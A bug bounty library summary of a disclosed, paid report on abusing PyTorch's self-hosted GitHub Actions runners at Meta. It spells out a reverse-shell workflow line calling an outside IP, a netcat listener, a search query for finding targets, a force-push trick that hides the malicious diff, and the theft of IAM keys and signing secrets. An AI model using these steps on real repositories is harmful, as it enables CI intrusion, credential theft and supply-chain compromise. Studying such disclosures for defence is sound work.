# Zuckerpunch - Abusing Self Hosted Github Runners at Facebook

Abused GitHub Actions pull_request_target-style workflow config on PyTorch self-hosted runners to execute a reverse shell, gaining root and IAM/ECR access.

- Payout: $10,000
- Severity: critical
- Program: Meta / Facebook
- Credited: Marcus Young
- Disclosed: 2022-09-06
- Write-up quality: 8/10
- Original: https://marcyoung.us/post/zuckerpunch/
- Library page: https://bugbountylibrary.com/r/blog%3Amarcyoung-us-post-zuckerpunch
- Tags: domain:oss impact:internal-access impact:rce kind:bounty platform:blog sev:critical tech:aws tech:github-actions technique:chained technique:recon vuln:misconfiguration vuln:rce

**Target:** GitHub Actions self-hosted CI runners
**Root cause:** PyTorch workflows allowed non-new users to modify CI YAML in PRs (the 'send write tokens/allow edits' style checkbox), so attacker-controlled `run:` steps executed on self-hosted runners.
**Steps:**
1. Recon: `site:github.com inurl:workflows +"self-hosted"` to find candidate repos.
2. Fork repo, edit workflow keeping `runs-on: self-hosted`, add `run: sh -i 5<> /dev/tcp/143.110.155.178/9001 0<&5 1>&5 2>&5`.
3. Commit with boring message, then `git rebase -i HEAD^` to reset branch to default SHA, `git push origin {branch} -f` to hide diff in GitHub UI.
4. Open PR; if workflow runs, reverse shell connects to `nc -u -lvp 9001` listener on DigitalOcean box.
5. On host: read plaintext IAM user keys, use instance role, `docker inspect {id} | jq '.[].Config.Env[0]'` for Android signing secrets.
6. Repush ECR images (mutable tags) to attempt internal supply-chain implant.
**How found:** Author runs a self-hosted runner project, knew the dangerous 'allow edits from maintainers'/workflow-modification checkbox, and mass-tested ~30 candidate repos via PRs while hiding diffs with a force-push rebase trick.
**Exploitation:** Attacker-controlled PR workflow executed on self-hosted runner, yielding reverse shell as root (ephemeral AWS) or sudo-capable Jenkins. From there exfiltrated IAM creds, ECR push access, and nightly Docker env secrets; potential internal supply-chain via mutable ECR tags.
**Escalation:** Chained GitHub UI diff-hiding bug to conceal payload, then pivoted from runner root to AWS IAM overprovisioning and ECR image repush for downstream supply-chain impact.
**Insight:** The GitHub UI shows 0 files changed after force-pushing a rebased branch whose HEAD SHA matches the base, hiding the malicious workflow diff while the Actions run still fires — useful for testing PR-triggered CI on targets without alerting them.